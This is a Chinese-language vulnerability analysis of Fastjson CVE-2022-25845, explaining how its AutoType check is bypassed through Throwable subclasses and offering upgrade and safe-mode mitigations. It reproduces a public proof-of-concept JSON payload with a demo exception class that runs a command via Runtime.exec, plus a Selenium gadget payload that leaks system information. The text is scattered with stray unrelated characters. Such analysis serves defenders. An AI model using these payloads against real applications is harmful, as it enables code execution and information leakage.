本文已獲取原作者 Uriya Yavnieli 授權(quán)挑围。如有錯誤抱究,歡迎指正雏蛮。
前言
幾周前涎嚼, Fastjson 發(fā)布了一個新版本 (1.2.83) ,其中包含一項安全漏洞修復挑秉。據(jù)稱攻擊者可以利用此漏洞在遠程機器上執(zhí)行代碼法梯。根據(jù)發(fā)布的多篇文章,攻擊者通過漏洞可以繞過Fastjson中的“AutoTypeCheck”機制,完成遠程代碼執(zhí)行立哑。
這個 Fastjson 漏洞最近才收到一個 CVE 漏洞標識符 – CVE-2022-25845夜惭,以及高達8.1的CVSS漏洞評分。盡管如此铛绰,這個漏洞仍撲朔迷離诈茧。盡管這是被宣稱為在無處不在的組件中存在的一個高危RCE漏洞(將近5000個Maven項目都存在Fastjson依賴!)捂掰,卻幾乎沒有任何關于它的公開技術細節(jié)敢会。到底是哪里存在漏洞,又是在什么條件下容易被攻擊这嚣?
在本篇文章中鸥昏,我們深入研究了這個Fastjson漏洞的嚴重性,以及那些類型的Java應用程序受此影響疤苹。文末是給目前無法升級到指定Fastjson版本的開發(fā)人員的一些策略建議互广。
哪些情況會受到CVE-2022-25845漏洞的影響?
所有依賴 Fastjson 版本 1.2.80 或更早版本的程序卧土,在應用程序中如果包含使用用戶數(shù)據(jù)調(diào)用 JSON.parse
或 JSON.parseObject
方法,但不指定要反序列化的特定類像樊,都會受此漏洞的影響尤莺。
雖然看起來很寬泛,但是我們可以發(fā)現(xiàn)生棍,在這些前提條件下颤霎,攻擊者也只能通過這個漏洞調(diào)用特定類型的Java反序列化gadget(繼承Throwable類的gadget類),這大大限制了這個漏洞的實際影響涂滴。
技術深入探究
Fastjson 是一個 Java 庫友酱,可以將 Java 對象序列化和反序列化,實現(xiàn)Java對象和JSON的相互轉(zhuǎn)換柔纵。
和大多數(shù) JSON 類一樣缔杉,F(xiàn)astjson 支持將基本 JSON 類型(數(shù)組和對象)分別序列化和反序列化為它們的 Java 等價對象——Arrays 和 Maps。
然而搁料,F(xiàn)astjson也可以將用戶的Java對象(POJO)序列化為JSON或详,或從JSON反序列化為Java對象。
例如郭计,我們定義了一個名為User的類霸琴,以下代碼時將其進行序列化為JSON,然后再進行反序列化昭伸。
public class App
{
public static void main( String[] args )
{
...
String jsonString = JSON.toJSONString(user);
User user2 = JSON.parseObject(jsonString, User.class);
}
}
JSON.parseObject()
返回一個 JSONObject 對象梧乘, 然后這個對象又轉(zhuǎn)換為User類。
有時候庐杨,開發(fā)人員想要更靈活的代碼來接收序列化的JSON选调,告訴代碼JSON應該被反序列化為哪種類嗡善。例如下面這種JSON形式:
"users": [
{
"@type": "AdminUser",
"username": "admin",
"password": "21232f297a57a5a743894a0e4a801fc3"
},
{
"@type": "GuestUser",
"username": "guest",
"password": ""
}
]
}
Fastjson 支持一個名為“AutoType”的功能。啟用該功能后学歧,可以為每個用戶entry引入類型罩引。開發(fā)人員只需要調(diào)用如下代碼:
JSONObject obj = JSON.parseObject(jsonString, Feature.SupportAutoType);
JSONArray users = (JSONArray)obj.get("users");
// Users[0] is of class type "AdminUser"
// Users[1] is of class type "GuestUser"
但是,如果反序列化的JSON是用戶可以控制的枝笨,則在啟用AutoType的情況下對其進行解析可能會出現(xiàn)反序列化安全問題袁铐。因為攻擊者可以實例化Classpath上可用的任意類,并為類的構(gòu)造函數(shù)提供任意參數(shù)横浑。這個問題已經(jīng)被很多次證實確實可以利用剔桨,并且例如ysoserial之類的框架就存在這里攻擊手段的風險(Java的“gadget”類)。
因此徙融,F(xiàn)astjson的開發(fā)者選擇默認禁用了AutoType功能洒缀,這應該能夠安全地解析人員JSON數(shù)據(jù)了。但是欺冀,AutoType的機制比這復雜得多...
繞過 AutoType 默認禁用策略
當JSON.parseObject()
被調(diào)用時树绩,它最終會調(diào)用到 DefaultJSONParser.parseObject()
,并且傳入?yún)?shù) object 為 JSONObject隐轩,fieldName 為 null饺饭。當這個方法遇到“@type”這個符號(JSON.DEFAULT_TYPE_KEY)時,就會調(diào)用config.checkAutoType:
if (key == JSON.DEFAULT_TYPE_KEY
&& !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
String typeName = lexer.scanSymbol(symbolTable, '"');
if (lexer.isEnabled(Feature.IgnoreAutoType)) {
continue;
}
最終职车,在所有flag都是默認的情況下瘫俊,代碼會調(diào)用至config.checkAutoType()
。在這里悴灵,我們可以看到因為被列入黑名單而無法通過AutoType 機制實例化的類列表扛芽。
if (expectClass == null) {
expectClassFlag = false;
} else {
long expectHash = TypeUtils.fnv1a_64(expectClass.getName());
if (expectHash == 0x90a25f5baa21529eL
|| expectHash == 0x2d10a5801b9d6136L
|| expectHash == 0xaf586a571e302c6bL
|| expectHash == 0xed007300a7b227c6L
|| expectHash == 0x295c4605fd1eaa95L
|| expectHash == 0x47ef269aadc650b4L
|| expectHash == 0x6439c4dff712ae8bL
|| expectHash == 0xe3dd9875a2dc5283L
|| expectHash == 0xe2a8ddba03e69e0dL
|| expectHash == 0xd734ceb4c3e9d1daL
) {
expectClassFlag = false;
} else {
expectClassFlag = true;
}
}
這些被Ban的類是以下這些:
- java.lang.Object
- java.io.Serializable
- java.lang.Cloneable
- java.lang.Runnable
- java.lang.AutoCloseable
- java.io.Closeable
- java.lang.Iterable
- java.util.Collection
- java.lang.Readable
- java.util.EventListener
你也可以在 fastjson-blacklist 查看到更多被列入黑名單的類。這個倉庫維護了被列入Fastjson黑名單的類的hash值积瞒。
最后川尖,代碼將嘗試找到一個反序列化器deserializer,用來對這個已經(jīng)被JSON序列化的類進行反序列化赡鲜。
ObjectDeserializer deserializer = config.getDeserializer(clazz);
Class deserClass = deserializer.getClass();
if (JavaBeanDeserializer.class.isAssignableFrom(deserClass)
&& deserClass != JavaBeanDeserializer.class
&& deserClass != ThrowableDeserializer.class) {
this.setResolveStatus(NONE);
} else if (deserializer instanceof MapDeserializer) {
this.setResolveStatus(NONE);
}
Object obj = deserializer.deserialze(this, clazz, fieldName);
在 ParserConfig.getDeserializer()
內(nèi)部空厌,有一個關鍵檢查,用于驗證目標類是否繼承了 Throwable 類:
} else if (Throwable.class.isAssignableFrom(clazz)) {
deserializer = new ThrowableDeserializer(this, clazz);
ThrowableDeserializer.deserialize()
會處理這種數(shù)據(jù)银酬。如果存在“@type”嘲更,它將使用 autoTypeCheck()
檢查并繼續(xù)正常反序列化:
if (JSON.DEFAULT_TYPE_KEY.equals(key)) {
if (lexer.token() == JSONToken.LITERAL_STRING) {
String exClassName = lexer.stringVal();
exClass = parser.getConfig().checkAutoType(exClassName, Throwable.class, lexer.getFeatures());
因此,漏洞的核心在于 揩瞪,只要目標類繼承自 Throwable 類赋朦,F(xiàn)astjson便可以反序列化為任意類!
在這種情況下,負責創(chuàng)建反序列化類的函數(shù)是 createException()宠哄,它處理了 3 種不同類型的構(gòu)造函數(shù)壹将。一個沒有任何參數(shù),一個帶有異常消息的參數(shù)毛嫉,一個帶有異常消息和異常原因參數(shù)诽俯。在此之后,它將先嘗試調(diào)用更為復雜的構(gòu)造函數(shù)(causeConstructor承粤、messageConstructor 和 defaultConstructor):
private Throwable createException(String message, Throwable cause, Class<?> exClass) throws Exception {
Constructor<?> defaultConstructor = null;
Constructor<?> messageConstructor = null;
Constructor<?> causeConstructor = null;
for (Constructor<?> constructor : exClass.getConstructors()) {
Class<?>[] types = constructor.getParameterTypes();
if (types.length == 0) {
defaultConstructor = constructor;
continue;
}
if (types.length == 1 && types[0] == String.class) {
messageConstructor = constructor;
continue;
}
if (types.length == 2 && types[0] == String.class && types[1] == Throwable.class) {
causeConstructor = constructor;
continue;
}
}
if (causeConstructor != null) {
return (Throwable) causeConstructor.newInstance(message, cause);
}
if (messageConstructor != null) {
return (Throwable) messageConstructor.newInstance(message);
}
if (defaultConstructor != null) {
return (Throwable) defaultConstructor.newInstance();
}
作為類實例化的一步暴区,還會為每個相關成員變量調(diào)用一個 setter方法:
if (otherValues != null) {
JavaBeanDeserializer exBeanDeser = null;
if (exClass != null) {
if (exClass == clazz) {
exBeanDeser = this;
} else {
ObjectDeserializer exDeser = parser.getConfig().getDeserializer(exClass);
if (exDeser instanceof JavaBeanDeserializer) {
exBeanDeser = (JavaBeanDeserializer) exDeser;
}
}
}
if (exBeanDeser != null) {
for (Map.Entry<String, Object> entry : otherValues.entrySet()) {
String key = entry.getKey();
Object value = entry.getValue();
FieldDeserializer fieldDeserializer = exBeanDeser.getFieldDeserializer(key);
if (fieldDeserializer != null) {
FieldInfo fieldInfo = fieldDeserializer.fieldInfo;
if (!fieldInfo.fieldClass.isInstance(value)) {
value = TypeUtils.cast(value, fieldInfo.fieldType, parser.getConfig());
}
fieldDeserializer.setValue(ex, value);
}
}
}
}
怎么利用 CVE-2022-25845 漏洞?
在了解了AutoType 機制中的上述“漏洞”之后辛臊,讓我們看看一個在現(xiàn)實中利用這個漏洞的可行性仙粱。這個漏洞據(jù)稱可以實現(xiàn)遠程代碼執(zhí)行。
由 YoungBear 發(fā)布的漏洞利用方案彻舰,通過傳入這個JSON可以運行任意系統(tǒng)操作命令伐割。
{
"@type": "java.lang.Exception",
"@type": "com.example.fastjson.poc20220523.Poc20220523",
"name": "calc"
}
這個漏洞利用方案依賴于在 Java 應用程序中定義的下面這個繼承Exception的類:
package com.example.fastjson.poc20220523;
import java.io.IOException;
/**
* @author youngbear
* @email youngbear@aliyun.com
* @date 2022/5/29 8:28
* @blog https://blog.csdn.net/next_second
* @github https://github.com/YoungBear
* @description POC類:需要代碼中有該類
*/
public class Poc20220523 extends Exception {
public void setName(String str) {
try {
Runtime.getRuntime().exec(str);
} catch (IOException e) {
e.printStackTrace();
}
}
}
當反序列化執(zhí)行到上面這一段JSON時,Poc20220523
這個類就創(chuàng)建了刃唤,并且提供name參數(shù)是通過自動調(diào)用setter方法隔心。
如代碼所示,這將最終調(diào)用包含 str = “calc”的惡意 setName() setter 函數(shù):
public void setName(String str) {
try {
Runtime.getRuntime().exec(str);
} catch (IOException e) {
e.printStackTrace();
}
}
這部分的實際代碼內(nèi)容為打開windows計算器:
這個漏洞利用方案顯然只是一個演示透揣,因為任何正常的 Java 應用程序都不會包含類似于 Poc20220523 這樣會基于外部參數(shù)運行 shell 命令的異常派生類济炎。
現(xiàn)在亟待解決的問題是 — 是否有大家熟知的 Java“gadget”類可以作為此漏洞的一部分被濫用?即繼承自Exception或Throwable辐真,并且存在相關的構(gòu)造函數(shù)或者setter方法,可能會造成實際安全影響的Java類崖堤。
目前侍咱,有一個兼容的gadget類(來自 Selenium 庫)已經(jīng)在被發(fā)布了。它會導致非常低影響的數(shù)據(jù)泄漏:
{
"x":{
"@type":"java.lang.Exception",
"@type":"org.openqa.selenium.WebDriverException"
},
"y":{
"$ref":"$x.systemInformation"
}
}
反序列化這個 JSON 最終會創(chuàng)建一個 HashMap密幔,其中“y”值為有關機器的一些基本信息:
"System info: host: '', ip: '', os.name: '', os.arch: '', os.version: '', java.version: ''"
根據(jù)應用程序的不同楔脯,這些信息最終可能會被存儲或發(fā)送給攻擊者(例如,它可能被寫入可遠程訪問日志)胯甩。
在檢查了 ysoserial 等其他知名來源后昧廷,我們沒有發(fā)現(xiàn)任何可以在實際場景中能夠?qū)е逻h程代碼執(zhí)行的gadget類。因此偎箫,想要利用這個漏洞進行實際攻擊的黑客木柬,需要對被共計的Java應用服務器進行深入研究,以找到一個加載在Classpath中的自定義的Java gadget類淹办。這個類繼承自Exception/Throwable眉枕,并包含可用于獲取權(quán)限、泄漏數(shù)據(jù)甚至運行任意代碼的相關方法。
總而言之速挑,我們評估目前這個漏洞似乎并未構(gòu)成很高風險的威脅谤牡。盡管存在一個潛在影響巨大(遠程代碼執(zhí)行)的公共PoC漏洞可利用,并且攻擊的條件并不是甚微(將不受信任的輸入數(shù)據(jù)傳遞給特定易受攻擊的 API)姥宝。最重要的是翅萤,必須找到一個合適的gadget類(或許由于一些不太可能的屬性根本不存在)來突破特定被攻擊的目標。
如何完全修復 CVE-2022-25845腊满?
要完全修復 CVE-2022-25845套么,我們建議將 Fastjson 升級到最新版本,目前為 1.2.83糜烹。
如何降低 CVE-2022-25845 風險违诗?
啟用 Fastjson 的“Safe Mode”可以減緩這個漏洞風險。
可以通過執(zhí)行以下任何一種操作來開啟Safe Mode:
- 通過代碼配置
ParserConfig.getGlobalInstance().setSafeMode(true);
- 通過JVM啟動參數(shù)配置
-Dfastjson.parser.safeMode=true
- 通過Fastjson的配置文件配置項
fastjson.parser.safeMode=true